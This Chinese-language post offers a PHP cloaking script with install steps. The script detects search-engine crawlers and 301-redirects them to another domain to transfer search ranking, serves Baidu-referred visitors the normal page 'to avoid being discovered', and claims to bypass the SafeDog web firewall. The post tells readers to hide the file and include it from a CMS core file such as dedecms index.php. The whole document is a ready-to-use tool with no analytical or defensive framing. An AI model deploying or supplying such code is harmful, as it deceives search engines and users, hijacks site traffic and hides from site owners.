功能说明

1.判断蜘蛛跳转
2.支持多个域名随机跳转
3.判断百度搜索进去不进行跳转(防止被发现)
4.正常浏览器访问不跳转
5.过安全狗防护

使用方法

以下代码新建为:useragent.func.php可以放在隐蔽的地方)
然后在你网站程序核心函数,例如:dedecms动态页面可以在:index.php 进行引入自己新建的代码为: require_once (dirname(__FILE__) . “/useragent.func.php”);

<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$xieyi="https://";
function checkrobot($useragent=''){
        static $kw_spiders = array('bot', 'crawl', 'spider' ,'slurp', 'sohu-search', 'lycos', 'robozilla');
        static $kw_browsers = array('msie', 'netscape', 'opera', 'konqueror', 'mozilla');

        $useragent = strtolower(empty($useragent) ? $_SERVER['HTTP_USER_AGENT'] : $useragent);
        if(strpos($useragent, 'https://') === false && dstrpos($useragent, $kw_browsers)) return false;
        if(dstrpos($useragent, $kw_spiders)) return true;
        return false;
}
function dstrpos($string, $arr, $returnvalue = false) {
        if(empty($string)) return false;
        foreach((array)$arr as $v) {
                if(strpos($string, $v) !== false) {
                        $return = $returnvalue ? $v : true;
                        return $return;
                }
        }
        return false;
}
//网址随机输出,可以填写多个随机输出转移权重的网址
$url[0] = "https://www.5alen.com";
$url[1] = "https://www.5alen.com";
$url[2] = "https://www.5alen.com";
$url[3] = "https://www.5alen.com";
$url[4] = "https://www.5alen.com";
$url[5] = "https://www.5alen.com";
srand ((double)microtime()*1000000);
$randomnum = rand(0, count($url)-1);
if(checkrobot()){
    Header("Location:$url[$randomnum]");
    header('HTTP/1.1 301 Moved Permanently');
    header("Location:$url[$randomnum]");   
    exit;
}
//判断的是百度,如果是百度点击进去就不跳转,防止被发现
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com"))
{
    $file = file_get_contents( $xieyi.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);         
    echo $file;
    exit;
 }
?>